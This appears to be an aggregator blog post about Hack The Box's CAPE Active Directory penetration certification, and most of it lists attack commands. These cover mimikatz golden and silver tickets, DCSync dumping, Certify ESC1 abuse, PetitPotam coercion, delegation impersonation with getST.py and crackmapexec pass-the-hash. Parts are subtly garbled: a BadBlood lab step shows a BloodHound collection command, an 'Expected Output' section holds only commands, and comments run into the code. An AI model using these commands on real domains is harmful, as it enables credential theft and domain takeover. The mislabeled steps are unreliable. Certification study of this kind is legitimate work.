Mastering the CAPE: Certified Active Directory Penetration Expert

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Hack The Box’s Certified Active Directory Penetration Expert (CAPE) is one of the most challenging cybersecurity certifications, testing advanced Active Directory (AD) exploitation techniques. Gabriel Madelaine-Toublanc, the 15th person globally to achieve this certification, shares his journey—highlighting its intensity, depth, and the lessons learned.

You Should Know:

1. CAPE Exam Overview

  • Duration: 10-day exam window.
  • Scope: Advanced AD attacks (Kerberos, ADCS, Delegations, etc.).
  • Difficulty: Far surpasses CWEE (Certified Web Exploitation Expert).

2. Key AD Exploitation Techniques

Here are critical commands and methodologies tested in CAPE:

Kerberos Attacks

  • Golden Ticket Attack:
    mimikatz  kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt:hash /ptt
    
  • Silver Ticket Attack:
    mimikatz  kerberos::golden /user:ServiceAccount /domain:corp.local /sid:S-1-5-21-... /target:DC01.corp.local /service:HTTP /rc4:hash /ptt
    

Active Directory Certificate Services (ADCS) Exploits

  • ESC1 (Misconfigured Template):
    Certify.exe request /ca:CA01.corp.local /template:VulnerableTemplate /altname:Administrator
    
  • PetitPotam (NTLM Relay to ADCS):
    python3 PetitPotam.py -d corp.local -u user -p pass attacker-ip dc-ip
    

Delegation Attacks

  • Unconstrained Delegation:
    Get-NetComputer -Unconstrained | Select-Object Name
    
  • Constrained Delegation Exploitation:
    getST.py -spn HTTP/victim.corp.local -impersonate Administrator corp.local/user:password
    

3. Lab Setup for Practice

  • Automated AD Lab (Using BadBlood):
    Invoke-BloodHound -CollectionMethod All -Domain corp.local -ZipFileName BH_data.zip
    
  • Manual DC Deployment:
    Install-WindowsFeature AD-Domain-Services -IncludeManagementTools
    Install-ADDSForest -DomainName "corp.local"
    

4. Post-Exploitation & Lateral Movement

  • DCSync Attack:
    mimikatz  lsadump::dcsync /domain:corp.local /user:Administrator
    
  • Pass-the-Hash (PTH):
    crackmapexec smb 10.10.10.0/24 -u Administrator -H NTLM_HASH --local-auth
    

What Undercode Say:

The CAPE certification is a masterclass in AD penetration testing, requiring deep knowledge of Kerberos, ADCS, and delegation attacks. Gabriel’s experience highlights the importance of humility, persistence, and structured learning.

For hands-on practice:

  • HTB Active Directory Machines (e.g., Forest, Sauna)
  • TryHackMe AD Learning Path
  • Offensive Security PEN-300 (AD Focus)

Expected Output:

 Example: Enumerating Kerberos Tickets 
klist  View cached tickets 
Invoke-Mimikatz -Command '"kerberos::list"'  Dump all tickets 

Further Reading:

This structured guide ensures actionable insights for aspiring CAPE candidates. Keep attacking! 🚀

References:

Reported By: Activity 7315429510055698432 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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